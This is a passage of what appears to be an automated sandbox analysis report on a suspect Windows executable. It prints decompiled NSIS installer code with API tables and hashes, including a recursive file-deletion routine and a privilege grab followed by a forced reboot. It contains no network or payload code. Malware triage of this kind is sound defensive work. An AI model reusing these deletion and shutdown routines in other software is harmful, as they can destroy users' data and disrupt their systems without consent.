                                                                                                        									DeleteFileA("1033"); // executed
                                                                                                        									_t50 = E00402C72(_t111, _t99); // executed
                                                                                                        									_v412 = _t50;
                                                                                                        									if(_t50 != 0) {
                                                                                                        										L32:
                                                                                                        										E004035BD();
                                                                                                        										__imp__OleUninitialize();
                                                                                                        										if(_v408 == 0) {
                                                                                                        											__eflags =  *0x423f34;
                                                                                                        											if( *0x423f34 != 0) {
                                                                                                        												_t106 = E00405E88(3);
                                                                                                        												_t100 = E00405E88(4);
                                                                                                        												_t55 = E00405E88(5);
                                                                                                        												__eflags = _t106;
                                                                                                        												_t97 = _t55;
                                                                                                        												if(_t106 != 0) {
                                                                                                        													__eflags = _t100;
                                                                                                        													if(_t100 != 0) {
                                                                                                        														__eflags = _t97;
                                                                                                        														if(_t97 != 0) {
                                                                                                        															_t60 =  *_t106(GetCurrentProcess(), 0x28,  &_v396);
                                                                                                        															__eflags = _t60;
                                                                                                        															if(_t60 != 0) {
                                                                                                        																 *_t100(0, "SeShutdownPrivilege",  &_v400);
                                                                                                        																_v416 = 1;
                                                                                                        																_v404 = 2;
                                                                                                        																 *_t97(_v420, 0,  &_v416, 0, 0, 0);
                                                                                                        															}
                                                                                                        														}
                                                                                                        													}
                                                                                                        												}
                                                                                                        												_t56 = ExitWindowsEx(2, 0);
                                                                                                        												__eflags = _t56;
                                                                                                        												if(_t56 == 0) {
                                                                                                        													E0040140B(9);
                                                                                                        												}
                                                                                                        											}
                                                                                                        											_t52 =  *0x423f4c;
                                                                                                        											__eflags = _t52 - 0xffffffff;
                                                                                                        											if(_t52 != 0xffffffff) {
                                                                                                        												_v400 = _t52;
                                                                                                        											}
                                                                                                        											ExitProcess(_v400);
                                                                                                        										}
                                                                                                        										E00405427(_v408, 0x200010);
                                                                                                        										ExitProcess(2);
                                                                                                        									}
                                                                                                        									if( *0x423ebc == 0) {
                                                                                                        										L31:
                                                                                                        										 *0x423f4c =  *0x423f4c | 0xffffffff;
                                                                                                        										_v400 = E004036AF();
                                                                                                        										goto L32;
                                                                                                        									}
                                                                                                        									_t103 = E00405684(_t96, 0);
                                                                                                        									while(_t103 >= _t96) {
                                                                                                        										__eflags =  *_t103 - 0x3d3f5f20;
                                                                                                        										if(__eflags == 0) {
                                                                                                        											break;
                                                                                                        										}
                                                                                                        										_t103 = _t103 - 1;
                                                                                                        										__eflags = _t103;
                                                                                                        									}
                                                                                                        									_t115 = _t103 - _t96;
                                                                                                        									_v408 = "Error launching installer";
                                                                                                        									if(_t103 < _t96) {
                                                                                                        										lstrcatA(_t105, "~nsu.tmp");
                                                                                                        										if(lstrcmpiA(_t105, "C:\\Users\\jones\\Desktop") == 0) {
                                                                                                        											goto L32;
                                                                                                        										}
                                                                                                        										CreateDirectoryA(_t105, 0);
                                                                                                        										SetCurrentDirectoryA(_t105);
                                                                                                        										_t120 = "C:\\Users\\jones\\AppData\\Local\\Temp"; // 0x43
                                                                                                        										if(_t120 == 0) {
                                                                                                        											E00405B66("C:\\Users\\jones\\AppData\\Local\\Temp", "C:\\Users\\jones\\Desktop");
                                                                                                        										}
                                                                                                        										E00405B66(0x424000, _v396);
                                                                                                        										 *0x424400 = 0x41;
                                                                                                        										_t98 = 0x1a;
                                                                                                        										do {
                                                                                                        											E00405B88(0, _t98, 0x41f058, 0x41f058,  *((intOrPtr*)( *0x423eb0 + 0x120)));
                                                                                                        											DeleteFileA(0x41f058);
                                                                                                        											if(_v416 != 0 && CopyFileA("C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe", 0x41f058, 1) != 0) {
                                                                                                        												_push(0);
                                                                                                        												_push(0x41f058);
                                                                                                        												E004058B4();
                                                                                                        												E00405B88(0, _t98, 0x41f058, 0x41f058,  *((intOrPtr*)( *0x423eb0 + 0x124)));
                                                                                                        												_t79 = E004053C6(0x41f058);
                                                                                                        												if(_t79 != 0) {
                                                                                                        													CloseHandle(_t79);
                                                                                                        													_v416 = 0;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											 *0x424400 =  *0x424400 + 1;
                                                                                                        											_t98 = _t98 - 1;
                                                                                                        										} while (_t98 != 0);
                                                                                                        										_push(0);
                                                                                                        										_push(_t105);
                                                                                                        										E004058B4();
                                                                                                        										goto L32;
                                                                                                        									}
                                                                                                        									 *_t103 = 0;
                                                                                                        									_t104 = _t103 + 4;
                                                                                                        									if(E0040573A(_t115, _t103 + 4) == 0) {
                                                                                                        										goto L32;
                                                                                                        									}
                                                                                                        									E00405B66("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
                                                                                                        									E00405B66("C:\\Users\\jones\\AppData\\Local\\Temp", _t104);
                                                                                                        									_v424 = 0;
                                                                                                        									goto L31;
                                                                                                        								}
                                                                                                        								GetWindowsDirectoryA(_t105, 0x3fb);
                                                                                                        								lstrcatA(_t105, "\\Temp");
                                                                                                        								_t89 = E00403208(_t110);
                                                                                                        								_t111 = _t89;
                                                                                                        								if(_t89 == 0) {
                                                                                                        									goto L32;
                                                                                                        								}
                                                                                                        								goto L22;
                                                                                                        							}
                                                                                                        							goto L15;
                                                                                                        						}
                                                                                                        					} else {
                                                                                                        						goto L4;
                                                                                                        					}
                                                                                                        					do {
                                                                                                        						L4:
                                                                                                        						_t44 = _t44 + 1;
                                                                                                        						__eflags =  *_t44 - 0x20;
                                                                                                        					} while ( *_t44 == 0x20);
                                                                                                        					goto L5;
                                                                                                        				}
                                                                                                        				goto L20;
                                                                                                        			}






































                                                                                                        0x00403248
                                                                                                        0x0040324c
                                                                                                        0x00403254
                                                                                                        0x00403256
                                                                                                        0x0040325b
                                                                                                        0x00403266
                                                                                                        0x0040326d
                                                                                                        0x00403275
                                                                                                        0x0040327f
                                                                                                        0x00403295
                                                                                                        0x004032a5
                                                                                                        0x004032aa
                                                                                                        0x004032b0
                                                                                                        0x004032b7
                                                                                                        0x004032ca
                                                                                                        0x004032cf
                                                                                                        0x004032d1
                                                                                                        0x004032d3
                                                                                                        0x004032d8
                                                                                                        0x004032d8
                                                                                                        0x004032e8
                                                                                                        0x004032ee
                                                                                                        0x00403357
                                                                                                        0x00403357
                                                                                                        0x00403359
                                                                                                        0x0040335b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004032f4
                                                                                                        0x004032f7
                                                                                                        0x004032ff
                                                                                                        0x004032ff
                                                                                                        0x00403302
                                                                                                        0x00403307
                                                                                                        0x00403309
                                                                                                        0x00403309
                                                                                                        0x0040330a
                                                                                                        0x0040330a
                                                                                                        0x0040330f
                                                                                                        0x00403312
                                                                                                        0x00403347
                                                                                                        0x0040334c
                                                                                                        0x00403351
                                                                                                        0x00403354
                                                                                                        0x00403356
                                                                                                        0x00403356
                                                                                                        0x00403356
                                                                                                        0x00000000
                                                                                                        0x00403314
                                                                                                        0x00403314
                                                                                                        0x00403315
                                                                                                        0x00403318
                                                                                                        0x00403320
                                                                                                        0x00403323
                                                                                                        0x00403325
                                                                                                        0x00403325
                                                                                                        0x00403325
                                                                                                        0x00403323
                                                                                                        0x00403328
                                                                                                        0x0040332e
                                                                                                        0x00403336
                                                                                                        0x00403339
                                                                                                        0x0040333b
                                                                                                        0x0040333b
                                                                                                        0x0040333b
                                                                                                        0x00403339
                                                                                                        0x0040333e
                                                                                                        0x00403345
                                                                                                        0x0040335f
                                                                                                        0x00403362
                                                                                                        0x0040336b
                                                                                                        0x00403370
                                                                                                        0x00403370
                                                                                                        0x0040337b
                                                                                                        0x00403381
                                                                                                        0x00403386
                                                                                                        0x00403388
                                                                                                        0x004033aa
                                                                                                        0x004033af
                                                                                                        0x004033b6
                                                                                                        0x004033bd
                                                                                                        0x004033c1
                                                                                                        0x00403428
                                                                                                        0x00403428
                                                                                                        0x0040342d
                                                                                                        0x00403437
                                                                                                        0x00403522
                                                                                                        0x00403528
                                                                                                        0x00403533
                                                                                                        0x0040353c
                                                                                                        0x0040353e
                                                                                                        0x00403543
                                                                                                        0x00403545
                                                                                                        0x00403547
                                                                                                        0x00403549
                                                                                                        0x0040354b
                                                                                                        0x0040354d
                                                                                                        0x0040354f
                                                                                                        0x0040355f
                                                                                                        0x00403561
                                                                                                        0x00403563
                                                                                                        0x00403570
                                                                                                        0x0040357f
                                                                                                        0x00403587
                                                                                                        0x0040358f
                                                                                                        0x0040358f
                                                                                                        0x00403563
                                                                                                        0x0040354f
                                                                                                        0x0040354b
                                                                                                        0x00403594
                                                                                                        0x0040359a
                                                                                                        0x0040359c
                                                                                                        0x004035a0
                                                                                                        0x004035a0
                                                                                                        0x0040359c
                                                                                                        0x004035a5
                                                                                                        0x004035aa
                                                                                                        0x004035ad
                                                                                                        0x004035af
                                                                                                        0x004035af
                                                                                                        0x004035b7
                                                                                                        0x004035b7
                                                                                                        0x00403446
                                                                                                        0x0040344d
                                                                                                        0x0040344d
                                                                                                        0x004033c9
                                                                                                        0x00403418
                                                                                                        0x00403418
                                                                                                        0x00403424
                                                                                                        0x00000000
                                                                                                        0x00403424
                                                                                                        0x004033d2
                                                                                                        0x004033df
                                                                                                        0x004033d6
                                                                                                        0x004033dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004033de
                                                                                                        0x004033de
                                                                                                        0x004033de
                                                                                                        0x004033e3
                                                                                                        0x004033e5
                                                                                                        0x004033ed
                                                                                                        0x00403459
                                                                                                        0x0040346d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403471
                                                                                                        0x00403478
                                                                                                        0x0040347e
                                                                                                        0x00403484
                                                                                                        0x0040348c
                                                                                                        0x0040348c
                                                                                                        0x0040349a
                                                                                                        0x004034a1
                                                                                                        0x004034aa
                                                                                                        0x004034b0
                                                                                                        0x004034bc
                                                                                                        0x004034c2
                                                                                                        0x004034cc
                                                                                                        0x004034e0
                                                                                                        0x004034e1
                                                                                                        0x004034e2
                                                                                                        0x004034f3
                                                                                                        0x004034f9
                                                                                                        0x00403500
                                                                                                        0x00403503
                                                                                                        0x00403509
                                                                                                        0x00403509
                                                                                                        0x00403500
                                                                                                        0x0040350d
                                                                                                        0x00403513
                                                                                                        0x00403513
                                                                                                        0x00403516
                                                                                                        0x00403517
                                                                                                        0x00403518
                                                                                                        0x00000000
                                                                                                        0x00403518
                                                                                                        0x004033ef
                                                                                                        0x004033f1
                                                                                                        0x004033fc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403404
                                                                                                        0x0040340f
                                                                                                        0x00403414
                                                                                                        0x00000000
                                                                                                        0x00403414
                                                                                                        0x00403390
                                                                                                        0x0040339c
                                                                                                        0x004033a1
                                                                                                        0x004033a6
                                                                                                        0x004033a8
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004033a8
                                                                                                        0x00000000
                                                                                                        0x00403345
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004032f9
                                                                                                        0x004032f9
                                                                                                        0x004032f9
                                                                                                        0x004032fa
                                                                                                        0x004032fa
                                                                                                        0x00000000
                                                                                                        0x004032f9
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • #17.COMCTL32 ref: 0040325B
                                                                                                        • SetErrorMode.KERNELBASE(00008001), ref: 00403266
                                                                                                        • OleInitialize.OLE32(00000000), ref: 0040326D
                                                                                                          • Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
                                                                                                          • Part of subcall function 00405E88: LoadLibraryA.KERNELBASE(?,?,00000000,0040327F,00000008), ref: 00405EA5
                                                                                                          • Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6
                                                                                                        • SHGetFileInfoA.SHELL32(0041F458,00000000,?,00000160,00000000,00000008), ref: 00403295
                                                                                                          • Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,004236A0,NSIS Error), ref: 00405B73
                                                                                                        • GetCommandLineA.KERNEL32(004236A0,NSIS Error), ref: 004032AA
                                                                                                        • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000000), ref: 004032BD
                                                                                                        • CharNextA.USER32(00000000,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000020), ref: 004032E8
                                                                                                        • GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040337B
                                                                                                        • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403390
                                                                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339C
                                                                                                        • DeleteFileA.KERNELBASE(1033), ref: 004033AF
                                                                                                        • OleUninitialize.OLE32(00000000), ref: 0040342D
                                                                                                        • ExitProcess.KERNEL32 ref: 0040344D
                                                                                                        • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000000,00000000), ref: 00403459
                                                                                                        • lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,00000000,00000000), ref: 00403465
                                                                                                        • CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403471
                                                                                                        • SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403478
                                                                                                        • DeleteFileA.KERNEL32(0041F058,0041F058,?,00424000,?), ref: 004034C2
                                                                                                        • CopyFileA.KERNEL32 ref: 004034D6
                                                                                                        • CloseHandle.KERNEL32(00000000,0041F058,0041F058,?,0041F058,00000000), ref: 00403503
                                                                                                        • GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403558
                                                                                                        • ExitWindowsEx.USER32(00000002,00000000), ref: 00403594
                                                                                                        • ExitProcess.KERNEL32 ref: 004035B7
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                                                                                        • String ID: /D=$ _?=$"$"C:\Users\user\Desktop\i6xFULh8J5.exe" $1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\i6xFULh8J5.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
                                                                                                        • API String ID: 2278157092-4127272248
                                                                                                        • Opcode ID: b237e16242222b526cfbc7eec5e85b12329012a3d6ce1955aa8a6be5a5dec380
                                                                                                        • Instruction ID: d9df3101e86bd055252ea398e1a167ecdf9755d8b7b18b8fa076e16bcd865dbe
                                                                                                        • Opcode Fuzzy Hash: b237e16242222b526cfbc7eec5e85b12329012a3d6ce1955aa8a6be5a5dec380
                                                                                                        • Instruction Fuzzy Hash: E191D231A087417EE7216F609D49B2B7EACEB01306F44457BF941B61E2C77CAE058B6E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 94%
                                                                                                        			E0040548B(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
                                                                                                        				signed int _v8;
                                                                                                        				signed int _v12;
                                                                                                        				struct _WIN32_FIND_DATAA _v332;
                                                                                                        				signed int _t37;
                                                                                                        				char* _t49;
                                                                                                        				signed int _t52;
                                                                                                        				signed int _t55;
                                                                                                        				signed int _t61;
                                                                                                        				signed int _t63;
                                                                                                        				void* _t65;
                                                                                                        				signed int _t68;
                                                                                                        				CHAR* _t70;
                                                                                                        				CHAR* _t72;
                                                                                                        				char* _t75;
                                                                                                        
                                                                                                        				_t72 = _a4;
                                                                                                        				_t37 = E0040573A(__eflags, _t72);
                                                                                                        				_v12 = _t37;
                                                                                                        				if((_a8 & 0x00000008) != 0) {
                                                                                                        					_t63 = DeleteFileA(_t72); // executed
                                                                                                        					asm("sbb eax, eax");
                                                                                                        					_t65 =  ~_t63 + 1;
                                                                                                        					 *0x423f28 =  *0x423f28 + _t65;
                                                                                                        					return _t65;
                                                                                                        				}
                                                                                                        				_t68 = _a8 & 0x00000001;
                                                                                                        				__eflags = _t68;
                                                                                                        				_v8 = _t68;
                                                                                                        				if(_t68 == 0) {
                                                                                                        					L5:
                                                                                                        					E00405B66(0x4214a8, _t72);
                                                                                                        					__eflags = _t68;
                                                                                                        					if(_t68 == 0) {
                                                                                                        						E004056A0(_t72);
                                                                                                        					} else {
                                                                                                        						lstrcatA(0x4214a8, "\*.*");
                                                                                                        					}
                                                                                                        					__eflags =  *_t72;
                                                                                                        					if( *_t72 != 0) {
                                                                                                        						L10:
                                                                                                        						lstrcatA(_t72, 0x409010);
                                                                                                        						L11:
                                                                                                        						_t70 =  &(_t72[lstrlenA(_t72)]);
                                                                                                        						_t37 = FindFirstFileA(0x4214a8,  &_v332);
                                                                                                        						__eflags = _t37 - 0xffffffff;
                                                                                                        						_a4 = _t37;
                                                                                                        						if(_t37 == 0xffffffff) {
                                                                                                        							L29:
                                                                                                        							__eflags = _v8;
                                                                                                        							if(_v8 != 0) {
                                                                                                        								_t31 = _t70 - 1;
                                                                                                        								 *_t31 =  *(_t70 - 1) & 0x00000000;
                                                                                                        								__eflags =  *_t31;
                                                                                                        							}
                                                                                                        							goto L31;
                                                                                                        						} else {
                                                                                                        							goto L12;
                                                                                                        						}
                                                                                                        						do {
                                                                                                        							L12:
                                                                                                        							_t75 =  &(_v332.cFileName);
                                                                                                        							_t49 = E00405684( &(_v332.cFileName), 0x3f);
                                                                                                        							__eflags =  *_t49;
                                                                                                        							if( *_t49 != 0) {
                                                                                                        								__eflags = _v332.cAlternateFileName;
                                                                                                        								if(_v332.cAlternateFileName != 0) {
                                                                                                        									_t75 =  &(_v332.cAlternateFileName);
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__eflags =  *_t75 - 0x2e;
                                                                                                        							if( *_t75 != 0x2e) {
                                                                                                        								L19:
                                                                                                        								E00405B66(_t70, _t75);
                                                                                                        								__eflags = _v332.dwFileAttributes & 0x00000010;
                                                                                                        								if((_v332.dwFileAttributes & 0x00000010) == 0) {
                                                                                                        									E0040581E(_t72);
                                                                                                        									_t52 = DeleteFileA(_t72);
                                                                                                        									__eflags = _t52;
                                                                                                        									if(_t52 != 0) {
                                                                                                        										E00404F04(0xfffffff2, _t72);
                                                                                                        									} else {
                                                                                                        										__eflags = _a8 & 0x00000004;
                                                                                                        										if((_a8 & 0x00000004) == 0) {
                                                                                                        											 *0x423f28 =  *0x423f28 + 1;
                                                                                                        										} else {
                                                                                                        											E00404F04(0xfffffff1, _t72);
                                                                                                        											_push(0);
                                                                                                        											_push(_t72);
                                                                                                        											E004058B4();
                                                                                                        										}
                                                                                                        									}
                                                                                                        								} else {
                                                                                                        									__eflags = (_a8 & 0x00000003) - 3;
                                                                                                        									if(__eflags == 0) {
                                                                                                        										E0040548B(_t70, __eflags, _t72, _a8);
                                                                                                        									}
                                                                                                        								}
                                                                                                        								goto L27;
                                                                                                        							}
                                                                                                        							_t61 =  *((intOrPtr*)(_t75 + 1));
                                                                                                        							__eflags = _t61;
                                                                                                        							if(_t61 == 0) {
                                                                                                        								goto L27;
                                                                                                        							}
                                                                                                        							__eflags = _t61 - 0x2e;
                                                                                                        							if(_t61 != 0x2e) {
                                                                                                        								goto L19;
                                                                                                        							}
                                                                                                        							__eflags =  *((char*)(_t75 + 2));
                                                                                                        							if( *((char*)(_t75 + 2)) == 0) {
                                                                                                        								goto L27;
                                                                                                        							}
                                                                                                        							goto L19;
                                                                                                        							L27:
                                                                                                        							_t55 = FindNextFileA(_a4,  &_v332);
                                                                                                        							__eflags = _t55;
                                                                                                        						} while (_t55 != 0);
                                                                                                        						_t37 = FindClose(_a4);
                                                                                                        						goto L29;
                                                                                                        					}
                                                                                                        					__eflags =  *0x4214a8 - 0x5c;
                                                                                                        					if( *0x4214a8 != 0x5c) {
                                                                                                        						goto L11;
                                                                                                        					}
                                                                                                        					goto L10;
                                                                                                        				} else {
                                                                                                        					__eflags = _t37;
                                                                                                        					if(_t37 == 0) {
                                                                                                        						L31:
                                                                                                        						__eflags = _v8;
                                                                                                        						if(_v8 == 0) {
                                                                                                        							L39:
                                                                                                        							return _t37;
                                                                                                        						}
                                                                                                        						__eflags = _v12;
                                                                                                        						if(_v12 != 0) {
                                                                                                        							_t37 = E00405E61(_t72);
                                                                                                        							__eflags = _t37;
                                                                                                        							if(_t37 == 0) {
                                                                                                        								goto L39;
                                                                                                        							}
                                                                                                        							E00405659(_t72);
                                                                                                        							E0040581E(_t72);
                                                                                                        							_t37 = RemoveDirectoryA(_t72);
                                                                                                        							__eflags = _t37;
                                                                                                        							if(_t37 != 0) {
                                                                                                        								return E00404F04(0xffffffe5, _t72);
                                                                                                        							}
                                                                                                        							__eflags = _a8 & 0x00000004;
                                                                                                        							if((_a8 & 0x00000004) == 0) {
                                                                                                        								goto L33;
                                                                                                        							}
                                                                                                        							E00404F04(0xfffffff1, _t72);
                                                                                                        							_push(0);
                                                                                                        							_push(_t72);
                                                                                                        							return E004058B4();
                                                                                                        						}
                                                                                                        						L33:
                                                                                                        						 *0x423f28 =  *0x423f28 + 1;
                                                                                                        						return _t37;
                                                                                                        					}
                                                                                                        					__eflags = _a8 & 0x00000002;
                                                                                                        					if((_a8 & 0x00000002) == 0) {
                                                                                                        						goto L31;
                                                                                                        					}
                                                                                                        					goto L5;
                                                                                                        				}
                                                                                                        			}

















                                                                                                        0x00405496
                                                                                                        0x0040549a
                                                                                                        0x004054a3
                                                                                                        0x004054a6
                                                                                                        0x004054a9
                                                                                                        0x004054b1
                                                                                                        0x004054b3
                                                                                                        0x004054b4
                                                                                                        0x00000000
                                                                                                        0x004054b4
                                                                                                        0x004054c3
                                                                                                        0x004054c3
                                                                                                        0x004054c6
                                                                                                        0x004054c9
                                                                                                        0x004054dd
                                                                                                        0x004054e4
                                                                                                        0x004054e9
                                                                                                        0x004054eb
                                                                                                        0x004054fb
                                                                                                        0x004054ed
                                                                                                        0x004054f3
                                                                                                        0x004054f3
                                                                                                        0x00405500
                                                                                                        0x00405503
                                                                                                        0x0040550e
                                                                                                        0x00405514
                                                                                                        0x00405519
                                                                                                        0x00405529
                                                                                                        0x0040552b
                                                                                                        0x00405531
                                                                                                        0x00405534
                                                                                                        0x00405537
                                                                                                        0x004055f4
                                                                                                        0x004055f4
                                                                                                        0x004055f8
                                                                                                        0x004055fa
                                                                                                        0x004055fa
                                                                                                        0x004055fa
                                                                                                        0x004055fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040553d
                                                                                                        0x0040553d
                                                                                                        0x00405546
                                                                                                        0x0040554c
                                                                                                        0x00405551
                                                                                                        0x00405554
                                                                                                        0x00405556
                                                                                                        0x0040555a
                                                                                                        0x0040555c
                                                                                                        0x0040555c
                                                                                                        0x0040555a
                                                                                                        0x0040555f
                                                                                                        0x00405562
                                                                                                        0x00405575
                                                                                                        0x00405577
                                                                                                        0x0040557c
                                                                                                        0x00405583
                                                                                                        0x0040559b
                                                                                                        0x004055a1
                                                                                                        0x004055a7
                                                                                                        0x004055a9
                                                                                                        0x004055ce
                                                                                                        0x004055ab
                                                                                                        0x004055ab
                                                                                                        0x004055af
                                                                                                        0x004055c3
                                                                                                        0x004055b1
                                                                                                        0x004055b4
                                                                                                        0x004055b9
                                                                                                        0x004055bb
                                                                                                        0x004055bc
                                                                                                        0x004055bc
                                                                                                        0x004055af
                                                                                                        0x00405585
                                                                                                        0x0040558b
                                                                                                        0x0040558d
                                                                                                        0x00405593
                                                                                                        0x00405593
                                                                                                        0x0040558d
                                                                                                        0x00000000
                                                                                                        0x00405583
                                                                                                        0x00405564
                                                                                                        0x00405567
                                                                                                        0x00405569
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040556b
                                                                                                        0x0040556d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040556f
                                                                                                        0x00405573
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004055d3
                                                                                                        0x004055dd
                                                                                                        0x004055e3
                                                                                                        0x004055e3
                                                                                                        0x004055ee
                                                                                                        0x00000000
                                                                                                        0x004055ee
                                                                                                        0x00405505
                                                                                                        0x0040550c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004054cb
                                                                                                        0x004054cb
                                                                                                        0x004054cd
                                                                                                        0x004055fe
                                                                                                        0x00405601
                                                                                                        0x00405604
                                                                                                        0x00405656
                                                                                                        0x00405656
                                                                                                        0x00405656
                                                                                                        0x00405606
                                                                                                        0x00405609
                                                                                                        0x00405614
                                                                                                        0x00405619
                                                                                                        0x0040561b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040561e
                                                                                                        0x00405624
                                                                                                        0x0040562a
                                                                                                        0x00405630
                                                                                                        0x00405632
                                                                                                        0x00000000
                                                                                                        0x0040564e
                                                                                                        0x00405634
                                                                                                        0x00405638
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040563d
                                                                                                        0x00405642
                                                                                                        0x00405643
                                                                                                        0x00000000
                                                                                                        0x00405644
                                                                                                        0x0040560b
                                                                                                        0x0040560b
                                                                                                        0x00000000
                                                                                                        0x0040560b
                                                                                                        0x004054d3
                                                                                                        0x004054d7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004054d7

                                                                                                        APIs
                                                                                                        • DeleteFileA.KERNELBASE(?,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 004054A9
                                                                                                        • lstrcatA.KERNEL32(004214A8,\*.*,004214A8,?,00000000,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 004054F3
                                                                                                        • lstrcatA.KERNEL32(?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 00405514
                                                                                                        • lstrlenA.KERNEL32(?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 0040551A
                                                                                                        • FindFirstFileA.KERNEL32(004214A8,?,?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,73BCF560), ref: 0040552B
                                                                                                        • FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 004055DD
                                                                                                        • FindClose.KERNEL32(?), ref: 004055EE
                                                                                                        Strings
                                                                                                        • \*.*, xrefs: 004054ED
                                                                                                        • "C:\Users\user\Desktop\i6xFULh8J5.exe" , xrefs: 00405495
                                                                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe" $C:\Users\user\AppData\Local\Temp\$\*.*
                                                                                                        • API String ID: 2035342205-796113599
                                                                                                        • Opcode ID: 6c8ee5a3fe02bedcc3e1648cc4c34db6c3543f7bd00f265664a9289eb0c65dd6
                                                                                                        • Instruction ID: bc429f5d1e1b14784ce7e3564347ec6ed469848bfd5577fff983359c073685a4
                                                                                                        • Opcode Fuzzy Hash: 6c8ee5a3fe02bedcc3e1648cc4c34db6c3543f7bd00f265664a9289eb0c65dd6
                                                                                                        • Instruction Fuzzy Hash: 0351F331904A447ADB216B218C45BBF3B79CF42728F54847BF905711E2CB3C5A82DE6E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 95%
                                                                                                        			E6FC71A98() {
                                                                                                        				signed int _v8;
                                                                                                        				signed int _v12;
